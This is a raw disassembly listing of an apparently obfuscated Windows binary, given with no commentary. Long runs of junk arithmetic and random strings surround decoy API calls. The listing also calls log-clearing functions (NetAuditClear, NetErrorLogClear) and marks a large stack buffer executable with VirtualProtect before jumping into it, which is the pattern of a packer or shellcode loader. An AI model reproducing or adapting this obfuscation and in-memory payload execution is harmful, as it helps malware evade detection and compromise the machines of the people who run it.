mov dword [ebp - 0x2e4], 1
jmp 0x40577e
mov dword [ebp - 0x2e4], 0
cmp dword [ebp - 0x2e4], 0x96
je 0x405796
mov dword [ebp - 0x2ec], 1
jmp 0x4057a0
mov dword [ebp - 0x2ec], 0
mov ecx, dword [ebp - 0x2ec]
cmp ecx, dword [ebp - 0x9c]
jne 0x4057ba
mov dword [ebp - 0x2f4], 1
jmp 0x4057c4
mov dword [ebp - 0x2f4], 0
cmp dword [ebp - 0x9c], 0x4d
je 0x4057d9
mov dword [ebp - 0x2fc], 1
jmp 0x4057e3
mov dword [ebp - 0x2fc], 0
mov edx, dword [ebp - 0x9c]
imul edx, dword [ebp - 0x9c]
add edx, 0xec
and edx, dword [ebp - 0x2f4]
xor edx, dword [ebp - 0x9c]
xor edx, dword [ebp - 0x2fc]
mov eax, dword [ebp - 0x9c]
imul eax, eax, 0xf8
xor edx, eax
or edx, dword [ebp - 0x9c]
mov dword [ebp - 0x178], edx
mov ecx, dword [ebp - 0x178]
add ecx, dword [ebp - 0x178]
and ecx, 1
add ecx, 1
imul ecx, ecx, 0x63
mov dword [ebp - 0x178], ecx
mov dword [ebp - 0x944], str.MVdqnGs8W7SlI8xfHAxZIIq
push 0x4f83e640
push 0xb05b661d
push 0xe8ad46ec
call dword [sym.imp.WINMM.dll_mmioWrite]
cmp dword [ebp - 0x18], 0
je 0x405981
mov edx, dword [ebp - 0x18]
imul edx, edx, 0xa6
cmp dword [ebp - 0x18], edx
jne 0x405880
mov dword [ebp - 0x304], 1
jmp 0x40588a
mov dword [ebp - 0x304], 0
mov eax, dword [ebp - 0x304]
cmp eax, dword [ebp - 0x18]
jne 0x4058a1
mov dword [ebp - 0x30c], 1
jmp 0x4058ab
mov dword [ebp - 0x30c], 0
mov ecx, dword [ebp - 0x30c]
cmp ecx, dword [ebp - 0x18]
je 0x4058c2
mov dword [ebp - 0x314], 1
jmp 0x4058cc
mov dword [ebp - 0x314], 0
mov edx, dword [ebp - 0x18]
imul edx, edx, 0x7a
mov eax, dword [ebp - 0x18]
sub eax, edx
cmp dword [ebp - 0x18], eax
jne 0x4058e8
mov dword [ebp - 0x31c], 1
jmp 0x4058f2
mov dword [ebp - 0x31c], 0
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp - 0x314]
xor ecx, 0xe3
xor ecx, dword [ebp - 0x31c]
xor ecx, dword [ebp - 0x18]
mov edx, 0xbe
sub edx, dword [ebp - 0x18]
or ecx, edx
or ecx, 0xf8
mov eax, dword [ebp - 0x18]
sub eax, 0xd8
or ecx, eax
mov dword [ebp - 0x180], ecx
mov ecx, dword [ebp - 0x180]
not ecx
cmp ecx, dword [ebp - 0x180]
jne 0x405946
mov dword [ebp - 0x324], 1
jmp 0x405950
mov dword [ebp - 0x324], 0
mov edx, dword [ebp - 0x324]
add edx, 1
imul edx, edx, 0x42
mov dword [ebp - 0x180], edx
mov dword [ebp - 0x94c], str.94CWlUIOMnDNnSGzg33xVxsItgumc
push 0x530e43f4
push 0x75e17df7
push 0xe9800f58
call dword [sym.imp.RPCRT4.dll_RpcNsBindingInqEntryNameW]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
mov ecx, 0x4b
sub ecx, dword [ebp - 0x18]
cmp eax, ecx
jne 0x40599f
mov dword [ebp - 0x32c], 1
jmp 0x4059a9
mov dword [ebp - 0x32c], 0
mov edx, dword [ebp - 0x32c]
cmp edx, dword [ebp - 0x18]
jne 0x4059c0
mov dword [ebp - 0x334], 1
jmp 0x4059ca
mov dword [ebp - 0x334], 0
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x49
mov ecx, dword [ebp - 0x18]
sub ecx, eax
cmp dword [ebp - 0x334], ecx
jne 0x4059e9
mov dword [ebp - 0x34c], 1
jmp 0x4059f3
mov dword [ebp - 0x34c], 0
cmp dword [ebp - 0x18], 0xa
jne 0x405a05
mov dword [ebp - 0x33c], 1
jmp 0x405a0f
mov dword [ebp - 0x33c], 0
mov edx, dword [ebp - 0x18]
imul edx, edx, 0x78
add edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x18]
cmp dword [ebp - 0x33c], edx
je 0x405a2f
mov dword [ebp - 0x344], 1
jmp 0x405a39
mov dword [ebp - 0x344], 0
cmp dword [ebp - 0x344], 0xdf
jne 0x405a51
mov dword [ebp - 0x354], 1
jmp 0x405a5b
mov dword [ebp - 0x354], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jne 0x405a6f
mov dword [ebp - 0x35c], 1
jmp 0x405a79
mov dword [ebp - 0x35c], 0
mov ecx, dword [ebp - 0x34c]
or ecx, dword [ebp - 0x354]
or ecx, dword [ebp - 0x35c]
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x18]
and edx, 0xf2
or ecx, edx
mov dword [ebp - 0x188], ecx
mov eax, dword [ebp - 0x188]
neg eax
xor eax, dword [ebp - 0x188]
and eax, 1
add eax, 1
imul eax, eax, 0x42
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x95c], str.rXLo8q537D
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
mov ecx, dword [ebp - 0x9c]
sub ecx, 0xc3
cmp ecx, dword [ebp - 0x9c]
je 0x405afa
mov dword [ebp - 0x364], 1
jmp 0x405b04
mov dword [ebp - 0x364], 0
mov edx, dword [ebp - 0x9c]
imul edx, edx, 0xd7
and edx, dword [ebp - 0x364]
and edx, dword [ebp - 0x9c]
mov eax, 0x4e
sub eax, dword [ebp - 0x9c]
and edx, eax
or edx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
add ecx, 0xa3
or edx, ecx
mov dword [ebp - 0x190], edx
mov edx, dword [ebp - 0x190]
add edx, dword [ebp - 0x190]
and edx, 1
add edx, 0x46
mov dword [ebp - 0x190], edx
mov dword [ebp - 0x96c], str.wDxdw4vN7DnYmOUMkZDwQjFt7iH
push 0x987ed362
push 0xabc8f753
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
cmp dword [ebp - 0x84], 0
je 0x405c91
mov eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x84]
cmp eax, 4
je 0x405b9f
mov dword [ebp - 0x374], 1
jmp 0x405ba9
mov dword [ebp - 0x374], 0
cmp dword [ebp - 0x84], 0x12
jne 0x405bbe
mov dword [ebp - 0x36c], 1
jmp 0x405bc8
mov dword [ebp - 0x36c], 0
mov ecx, dword [ebp - 0x84]
imul ecx, ecx, 0x67
cmp dword [ebp - 0x84], ecx
je 0x405be5
mov dword [ebp - 0x37c], 1
jmp 0x405bef
mov dword [ebp - 0x37c], 0
mov edx, dword [ebp - 0x84]
sub edx, dword [ebp - 0x84]
cmp edx, 0xc1
je 0x405c0f
mov dword [ebp - 0x384], 1
jmp 0x405c19
mov dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x36c]
and eax, 0
and eax, dword [ebp - 0x84]
xor eax, dword [ebp - 0x84]
or eax, dword [ebp - 0x374]
mov ecx, dword [ebp - 0x84]
imul ecx, ecx, 0x15
xor ecx, dword [ebp - 0x37c]
mov edx, dword [ebp - 0x84]
and edx, dword [ebp - 0x384]
xor ecx, edx
or eax, ecx
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x198]
neg eax
xor eax, dword [ebp - 0x198]
and eax, 1
add eax, 0x1b
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x974], str.yikgt4qiJhLJ9jLHHy7jp3
push 0xce92f033
push 0x944de994
push 0xca49d03c
call sub.NETAPI32.dll_NetAuditClear
cmp dword [ebp - 0x84], 0xa1
je 0x405ca9
mov dword [ebp - 0x38c], 1
jmp 0x405cb3
mov dword [ebp - 0x38c], 0
mov ecx, dword [ebp - 0x84]
add ecx, 5
cmp dword [ebp - 0x38c], ecx
je 0x405cd0
mov dword [ebp - 0x394], 1
jmp 0x405cda
mov dword [ebp - 0x394], 0
mov edx, dword [ebp - 0x394]
cmp edx, dword [ebp - 0x84]
jne 0x405cf4
mov dword [ebp - 0x39c], 1
jmp 0x405cfe
mov dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0x84]
add eax, 0xa5
cmp dword [ebp - 0x84], eax
je 0x405d1d
mov dword [ebp - 0x3a4], 1
jmp 0x405d27
mov dword [ebp - 0x3a4], 0
mov ecx, dword [ebp - 0x84]
xor ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x39c]
and edx, dword [ebp - 0x84]
and edx, dword [ebp - 0x3a4]
or ecx, edx
mov dword [ebp - 0x1a0], ecx
mov eax, dword [ebp - 0x1a0]
neg eax
and eax, 1
mov ecx, dword [ebp - 0x1a0]
and ecx, 1
cmp eax, ecx
je 0x405d71
mov dword [ebp - 0x3ac], 1
jmp 0x405d7b
mov dword [ebp - 0x3ac], 0
mov edx, dword [ebp - 0x3ac]
or edx, 0x61
mov dword [ebp - 0x1a0], edx
mov dword [ebp - 0x984], str.EUurmuDBzsr8blzeb3yfihCbteP8tH
push 0x987ed362
push 0xabc8f753
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
lea eax, [ebp - 0x994]
push eax
push 0x40
push 0x4e05
lea ecx, [ebp - 0x5850]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [ebp + 0x14], 0x89
jne 0x405dd4
mov dword [ebp - 0x3bc], 1
jmp 0x405dde
mov dword [ebp - 0x3bc], 0
mov edx, dword [ebp + 0x14]
imul edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x14]
sub eax, edx
cmp dword [ebp + 0x14], eax
je 0x405dfb
mov dword [ebp - 0x3c4], 1
jmp 0x405e05
mov dword [ebp - 0x3c4], 0
mov ecx, dword [ebp + 0x14]
sub ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x14]
add edx, 0xf6
cmp ecx, edx
je 0x405e24
mov dword [ebp - 0x3b4], 1
jmp 0x405e2e
mov dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x3b4]
cmp eax, dword [ebp + 0x14]
je 0x405e45
mov dword [ebp - 0x3cc], 1
jmp 0x405e4f
mov dword [ebp - 0x3cc], 0
mov ecx, dword [ebp - 0x3bc]
xor ecx, dword [ebp - 0x3c4]
mov edx, dword [ebp + 0x14]
sub edx, 0x54
or ecx, edx
or ecx, dword [ebp - 0x3cc]
mov eax, dword [ebp + 0x14]
sub eax, 0x25
xor eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x14]
imul edx, dword [ebp + 0x14]
and edx, dword [ebp + 0x14]
xor eax, edx
or ecx, eax
mov dword [ebp - 0x1a8], ecx
mov eax, dword [ebp - 0x1a8]
add eax, dword [ebp - 0x1a8]
and eax, 1
or eax, 0x28
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x99c], str.mrudp
push 0xb087f132
push 0x867c7ef4
push 0x98358944
call sub.NETAPI32.dll_NetErrorLogClear
cmp dword [ebp - 0x70], 0
je 0x406239
mov ecx, dword [ebp - 0x70]
add ecx, 0x8a
sub ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x70]
imul edx, edx, 0x8d
sub ecx, edx
cmp dword [ebp - 0x70], ecx
je 0x405eee
mov dword [ebp - 0x3d4], 1
jmp 0x405ef8
mov dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x70]
and eax, 0x65
xor eax, dword [ebp - 0x70]
or eax, dword [ebp - 0x3d4]
mov ecx, dword [ebp - 0x70]
imul ecx, ecx, 0x3a
xor ecx, dword [ebp - 0x70]
or eax, ecx
mov dword [ebp - 0x1b0], eax
mov edx, dword [ebp - 0x1b0]
not edx
cmp edx, dword [ebp - 0x1b0]
jne 0x405f34
mov dword [ebp - 0x3dc], 1
jmp 0x405f3e
mov dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x3dc]
add eax, 0x2a
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x9a4], str.e0RYvvOIXtk9wK5FLqHsQqiipq5
push 0x8232c3e
push 0xd541fcbe
push 0x7e7e5b07
push 0xf479b6ee
push 0x86fc363
call sub.NETAPI32.dll_NetAuditWrite
cmp dword [ebp - 8], 0
je 0x4060a3
mov ecx, dword [ebp - 8]
imul ecx, ecx, 0xb1
add ecx, dword [ebp - 8]
cmp ecx, 0x29
jne 0x405f9c
mov dword [ebp - 0x3e4], 1
jmp 0x405fa6
mov dword [ebp - 0x3e4], 0
mov edx, dword [ebp - 0x3e4]
cmp edx, dword [ebp - 8]
je 0x405fbd
mov dword [ebp - 0x3fc], 1
jmp 0x405fc7
mov dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 8]
cmp eax, dword [ebp - 8]
jne 0x405fdf
mov dword [ebp - 0x3ec], 1
jmp 0x405fe9
mov dword [ebp - 0x3ec], 0
mov ecx, dword [ebp - 8]
add ecx, 0x3b
cmp dword [ebp - 0x3ec], ecx
jne 0x406003
mov dword [ebp - 0x3f4], 1
jmp 0x40600d
mov dword [ebp - 0x3f4], 0
mov edx, dword [ebp - 0x3f4]
cmp edx, dword [ebp - 8]
jne 0x406024
mov dword [ebp - 0x404], 1
jmp 0x40602e
mov dword [ebp - 0x404], 0
mov eax, dword [ebp - 8]
or eax, dword [ebp - 0x3fc]
mov ecx, dword [ebp - 8]
and ecx, dword [ebp - 8]
and ecx, dword [ebp - 8]
or eax, ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 8]
and edx, 0x75
and edx, dword [ebp - 0x404]
or eax, edx
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x1b8]
not eax
cmp eax, dword [ebp - 0x1b8]
jne 0x406075
mov dword [ebp - 0x40c], 1
jmp 0x40607f
mov dword [ebp - 0x40c], 0
mov ecx, dword [ebp - 0x40c]
or ecx, 0x4b
mov dword [ebp - 0x1b8], ecx
mov dword [ebp - 0x9ac], str.RHpEG8wOyfhExyrKd
push 0xe97ba28b
call dword [sym.imp.RPCRT4.dll_I_RpcMapWin32Status]
mov edx, dword [ebp - 8]
sub edx, 0x86
cmp edx, dword [ebp - 8]
jne 0x4060bd
mov dword [ebp - 0x414], 1
jmp 0x4060c7
mov dword [ebp - 0x414], 0
cmp dword [ebp - 0x414], 0xf4
jne 0x4060df
mov dword [ebp - 0x43c], 1
jmp 0x4060e9
mov dword [ebp - 0x43c], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 8]
jne 0x4060fd
mov dword [ebp - 0x444], 1
jmp 0x406107
mov dword [ebp - 0x444], 0
mov ecx, dword [ebp - 8]
imul ecx, dword [ebp - 8]
imul ecx, dword [ebp - 8]
cmp ecx, 0x50
jne 0x406123
mov dword [ebp - 0x41c], 1
jmp 0x40612d
mov dword [ebp - 0x41c], 0
mov edx, dword [ebp - 0x41c]
cmp edx, dword [ebp - 8]
je 0x406144
mov dword [ebp - 0x424], 1
jmp 0x40614e
mov dword [ebp - 0x424], 0
mov eax, dword [ebp - 8]
imul eax, eax, 0x86
cmp dword [ebp - 0x424], eax
je 0x40616b
mov dword [ebp - 0x44c], 1
jmp 0x406175
mov dword [ebp - 0x44c], 0
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 8]
je 0x406189
mov dword [ebp - 0x42c], 1
jmp 0x406193
mov dword [ebp - 0x42c], 0
mov edx, dword [ebp - 0x42c]
cmp edx, dword [ebp - 8]
jne 0x4061aa
mov dword [ebp - 0x434], 1
jmp 0x4061b4
mov dword [ebp - 0x434], 0
cmp dword [ebp - 0x434], 0x18
je 0x4061c9
mov dword [ebp - 0x454], 1
jmp 0x4061d3
mov dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x43c]
and eax, dword [ebp - 0x444]
mov ecx, dword [ebp - 8]
and ecx, dword [ebp - 8]
and ecx, dword [ebp - 0x44c]
mov edx, dword [ebp - 8]
add edx, 0x3d
and ecx, edx
and ecx, dword [ebp - 0x454]
or eax, ecx
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x1c0]
neg eax
xor eax, dword [ebp - 0x1c0]
and eax, 1
or eax, 0x55
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x9bc], str.JGXa2TYmPjbDg8
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
cmp dword [ebp - 0x70], 0x9f
je 0x40624e
mov dword [ebp - 0x47c], 1
jmp 0x406258
mov dword [ebp - 0x47c], 0
mov ecx, dword [ebp - 0x70]
add ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x70]
imul edx, edx, 0xa9
sub edx, dword [ebp - 0x70]
cmp ecx, edx
je 0x40627a
mov dword [ebp - 0x45c], 1
jmp 0x406284
mov dword [ebp - 0x45c], 0
cmp dword [ebp - 0x45c], 0xfe
jne 0x40629c
mov dword [ebp - 0x464], 1
jmp 0x4062a6
mov dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x464]
cmp eax, dword [ebp - 0x70]
jne 0x4062bd
mov dword [ebp - 0x46c], 1
jmp 0x4062c7
mov dword [ebp - 0x46c], 0
mov ecx, dword [ebp - 0x46c]
cmp ecx, dword [ebp - 0x70]
je 0x4062de
mov dword [ebp - 0x484], 1
jmp 0x4062e8
mov dword [ebp - 0x484], 0
mov edx, 0x3b
cmp edx, dword [ebp - 0x70]
jne 0x4062fe
mov dword [ebp - 0x474], 1
jmp 0x406308
mov dword [ebp - 0x474], 0
cmp dword [ebp - 0x474], 0xfd
je 0x406320
mov dword [ebp - 0x48c], 1
jmp 0x40632a
mov dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x47c]
and eax, dword [ebp - 0x484]
or eax, dword [ebp - 0x48c]
mov dword [ebp - 0x1c8], eax
mov ecx, dword [ebp - 0x1c8]
add ecx, dword [ebp - 0x1c8]
and ecx, 1
or ecx, 0xf
mov dword [ebp - 0x1c8], ecx
mov dword [ebp - 0x9cc], str.RYtempgZZpv24uy8eceT
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
cmp dword [ebp - 0x24], 0
je 0x406482
mov edx, dword [ebp - 0x24]
imul edx, edx, 0xf1
mov eax, dword [ebp - 0x24]
shl eax, 7
mov ecx, dword [ebp - 0x24]
sub ecx, eax
add ecx, 0x21
sub ecx, dword [ebp - 0x24]
cmp edx, ecx
jne 0x4063ac
mov dword [ebp - 0x49c], 1
jmp 0x4063b6
mov dword [ebp - 0x49c], 0
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x24]
je 0x4063ca
mov dword [ebp - 0x494], 1
jmp 0x4063d4
mov dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x24]
cmp dword [ebp - 0x494], eax
je 0x4063ee
mov dword [ebp - 0x4a4], 1
jmp 0x4063f8
mov dword [ebp - 0x4a4], 0
mov ecx, dword [ebp - 0x24]
sub ecx, 0x49
cmp ecx, dword [ebp - 0x24]
jne 0x40640f
mov dword [ebp - 0x4ac], 1
jmp 0x406419
mov dword [ebp - 0x4ac], 0
mov edx, dword [ebp - 0x24]
xor edx, dword [ebp - 0x49c]
mov eax, 0x6b
sub eax, dword [ebp - 0x24]
xor eax, dword [ebp - 0x4a4]
mov ecx, dword [ebp - 0x24]
add ecx, 0x149
and ecx, dword [ebp - 0x4ac]
xor eax, ecx
or edx, eax
mov dword [ebp - 0x1d0], edx
mov edx, dword [ebp - 0x1d0]
neg edx
xor edx, dword [ebp - 0x1d0]
and edx, 1
add edx, 9
mov dword [ebp - 0x1d0], edx
mov dword [ebp - 0x9d4], str.pVpOBqJ7nBui0fhrHHoQ3
push 0x397949b3
push 0x58350ff5
push 0x4d6e6858
call dword [sym.imp.GDI32.dll_GetEnhMetaFileDescriptionW]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
jne 0x40649a
mov dword [ebp - 0x4b4], 1
jmp 0x4064a4
mov dword [ebp - 0x4b4], 0
cmp dword [ebp - 0x4b4], 0xc0
je 0x4064bc
mov dword [ebp - 0x4c4], 1
jmp 0x4064c6
mov dword [ebp - 0x4c4], 0
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x24]
je 0x4064da
mov dword [ebp - 0x4cc], 1
jmp 0x4064e4
mov dword [ebp - 0x4cc], 0
mov edx, dword [ebp - 0x24]
sub edx, 0xdd
mov eax, dword [ebp - 0x24]
imul eax, eax, 0x62
cmp edx, eax
jne 0x406503
mov dword [ebp - 0x4bc], 1
jmp 0x40650d
mov dword [ebp - 0x4bc], 0
mov ecx, dword [ebp - 0x4bc]
cmp ecx, dword [ebp - 0x24]
je 0x406524
mov dword [ebp - 0x4d4], 1
jmp 0x40652e
mov dword [ebp - 0x4d4], 0
mov edx, dword [ebp - 0x24]
imul edx, edx, 0x8f
xor edx, dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x24]
or edx, eax
mov ecx, dword [ebp - 0x4cc]
xor ecx, 0x9f
xor ecx, dword [ebp - 0x4d4]
or edx, ecx
mov dword [ebp - 0x1d8], edx
mov edx, dword [ebp - 0x1d8]
neg edx
xor edx, dword [ebp - 0x1d8]
and edx, 1
or edx, 0x2c
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 0x9e4], str.UyLCfBLPJJe
push 0x987ed362
push 0xabc8f753
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x5850]
push eax
call dword [ebp - 0x804]
mov ecx, dword [ebp + 0x14]
add ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x14]
imul edx, edx, 0xc6
add ecx, dword [ebp + 0x14]
add edx, ecx
mov eax, dword [ebp + 0x14]
add eax, 0xa9
xor edx, eax
mov ecx, dword [ebp + 0x14]
imul ecx, dword [ebp + 0x14]
add ecx, dword [ebp + 0x14]
add ecx, dword [ebp + 0x14]
xor edx, ecx
mov dword [ebp - 0x1e0], edx
mov edx, dword [ebp - 0x1e0]
neg edx
xor edx, dword [ebp - 0x1e0]
and edx, 1
or edx, 0x15
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x9f4], str.LRgGMtdfXwM2GQ4l6Cl
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
cmp dword [ebp - 0x44], 0
je 0x4068c9
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x44]
mov ecx, 0xf3
sub ecx, dword [ebp - 0x44]
cmp eax, ecx
je 0x40663e
mov dword [ebp - 0x4dc], 1
jmp 0x406648
mov dword [ebp - 0x4dc], 0
mov edx, dword [ebp - 0x4dc]
and edx, 0x20
xor edx, dword [ebp - 0x44]
xor edx, 0xe9
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x44]
and eax, dword [ebp - 0x44]
or edx, eax
mov ecx, dword [ebp - 0x44]
add ecx, dword [ebp - 0x44]
or edx, ecx
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x44]
or edx, eax
mov dword [ebp - 0x1e8], edx
mov ecx, dword [ebp - 0x1e8]
add ecx, dword [ebp - 0x1e8]
and ecx, 1
add ecx, 1
imul ecx, ecx, 0x22
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x9fc], str.WySR2
push 0x4f83e640
push 0xb05b661d
push 0xe8ad46ec
call dword [sym.imp.WINMM.dll_mmioWrite]
cmp dword [ebp - 0x58], 0
je 0x4067c7
mov edx, dword [ebp - 0x58]
imul edx, edx, 0xe7
cmp edx, dword [ebp - 0x58]
je 0x4066da
mov dword [ebp - 0x4e4], 1
jmp 0x4066e4
mov dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x4e4]
cmp eax, dword [ebp - 0x58]
je 0x4066fb
mov dword [ebp - 0x4ec], 1
jmp 0x406705
mov dword [ebp - 0x4ec], 0
mov ecx, 0xc1
sub ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x58]
lea eax, [ecx + edx - 0x92]
cmp dword [ebp - 0x58], eax
je 0x406728
mov dword [ebp - 0x4f4], 1
jmp 0x406732
mov dword [ebp - 0x4f4], 0
cmp dword [ebp - 0x58], 0xd3
jne 0x406747
mov dword [ebp - 0x4fc], 1
jmp 0x406751
mov dword [ebp - 0x4fc], 0
mov ecx, dword [ebp - 0x58]
xor ecx, 0x2c
mov edx, dword [ebp - 0x4ec]
and edx, dword [ebp - 0x58]
and edx, dword [ebp - 0x4f4]
xor ecx, edx
or ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0x1f0], ecx
mov eax, dword [ebp - 0x1f0]
not eax
cmp eax, dword [ebp - 0x1f0]
jne 0x406790
mov dword [ebp - 0x504], 1
jmp 0x40679a
mov dword [ebp - 0x504], 0
mov ecx, dword [ebp - 0x504]
or ecx, 0x42
mov dword [ebp - 0x1f0], ecx
mov dword [ebp - 0xa04], str.0V4k8dXYB1q9
push 0x2db0ae50
push 0xf304cfbe
push 0x67ae8d50
call sub.USP10.dll_ScriptIsComplex
mov edx, dword [ebp - 0x58]
sub edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x58]
jne 0x4067de
mov dword [ebp - 0x51c], 1
jmp 0x4067e8
mov dword [ebp - 0x51c], 0
cmp dword [ebp - 0x58], 0x2d
jne 0x4067fa
mov dword [ebp - 0x50c], 1
jmp 0x406804
mov dword [ebp - 0x50c], 0
cmp dword [ebp - 0x50c], 0x45
je 0x406819
mov dword [ebp - 0x514], 1
jmp 0x406823
mov dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x514]
cmp eax, dword [ebp - 0x58]
jne 0x40683a
mov dword [ebp - 0x524], 1
jmp 0x406844
mov dword [ebp - 0x524], 0
mov ecx, dword [ebp - 0x58]
or ecx, dword [ebp - 0x51c]
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
lea edx, [eax + edx - 0x9c]
xor edx, 0xd6
mov eax, dword [ebp - 0x524]
and eax, 0x23
xor edx, eax
mov eax, dword [ebp - 0x58]
imul eax, eax, 0x75
mov esi, dword [ebp - 0x58]
imul esi, dword [ebp - 0x58]
and eax, esi
xor edx, eax
mov eax, dword [ebp - 0x58]
and eax, 0x52
and eax, 0x9f
xor edx, eax
or ecx, edx
mov dword [ebp - 0x1f8], ecx
mov ecx, dword [ebp - 0x1f8]
neg ecx
xor ecx, dword [ebp - 0x1f8]
and ecx, 1
or ecx, 0x21
mov dword [ebp - 0x1f8], ecx
mov dword [ebp - 0xa14], str.FtE2whIz3vGS6TwjIDB4jJ
push 0xce92f033
push 0x944de994
push 0xca49d03c
call sub.NETAPI32.dll_NetAuditClear
cmp dword [ebp - 0x44], 0xe8
jne 0x4068de
mov dword [ebp - 0x52c], 1
jmp 0x4068e8
mov dword [ebp - 0x52c], 0
mov edx, dword [ebp - 0x44]
sub edx, 0x8a
cmp dword [ebp - 0x52c], edx
je 0x406905
mov dword [ebp - 0x534], 1
jmp 0x40690f
mov dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x534]
cmp eax, dword [ebp - 0x44]
je 0x406926
mov dword [ebp - 0x53c], 1
jmp 0x406930
mov dword [ebp - 0x53c], 0
mov ecx, 0xbf
sub ecx, dword [ebp - 0x44]
cmp dword [ebp - 0x53c], ecx
je 0x40694c
mov dword [ebp - 0x54c], 1
jmp 0x406956
mov dword [ebp - 0x54c], 0
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x44]
je 0x40696a
mov dword [ebp - 0x544], 1
jmp 0x406974
mov dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x544]
cmp eax, dword [ebp - 0x44]
je 0x40698b
mov dword [ebp - 0x554], 1
jmp 0x406995
mov dword [ebp - 0x554], 0
mov ecx, dword [ebp - 0x54c]
and ecx, dword [ebp - 0x44]
and ecx, 0x68
xor ecx, dword [ebp - 0x554]
mov edx, dword [ebp - 0x44]
sub edx, dword [ebp - 0x44]
or ecx, edx
mov dword [ebp - 0x200], ecx
mov eax, dword [ebp - 0x200]
neg eax
and eax, 1
mov ecx, dword [ebp - 0x200]
and ecx, 1
cmp eax, ecx
je 0x4069d9
mov dword [ebp - 0x55c], 1
jmp 0x4069e3
mov dword [ebp - 0x55c], 0
mov edx, dword [ebp - 0x55c]
add edx, 0x3d
mov dword [ebp - 0x200], edx
mov dword [ebp - 0xa24], str.vLYlaeEEMb1MxJcl
push 0x2db0ae50
push 0xf304cfbe
push 0x67ae8d50
call sub.USP10.dll_ScriptIsComplex
cmp dword [ebp - 0x40], 0
je 0x406aec
mov eax, dword [ebp - 0x40]
add eax, 0x6a
mov ecx, dword [ebp - 0x40]
sub ecx, 0x19
sub ecx, dword [ebp - 0x40]
cmp eax, ecx
jne 0x406a39
mov dword [ebp - 0x564], 1
jmp 0x406a43
mov dword [ebp - 0x564], 0
mov edx, dword [ebp - 0x564]
cmp edx, dword [ebp - 0x40]
je 0x406a5a
mov dword [ebp - 0x56c], 1
jmp 0x406a64
mov dword [ebp - 0x56c], 0
cmp dword [ebp - 0x56c], 0x31
jne 0x406a79
mov dword [ebp - 0x574], 1
jmp 0x406a83
mov dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x574]
cmp eax, dword [ebp - 0x40]
je 0x406a9a
mov dword [ebp - 0x57c], 1
jmp 0x406aa4
mov dword [ebp - 0x57c], 0
mov ecx, dword [ebp - 0x40]
sub ecx, dword [ebp - 0x40]
and ecx, dword [ebp - 0x57c]
mov dword [ebp - 0x208], ecx
mov edx, dword [ebp - 0x208]
add edx, dword [ebp - 0x208]
and edx, 1
or edx, 0x27
mov dword [ebp - 0x208], edx
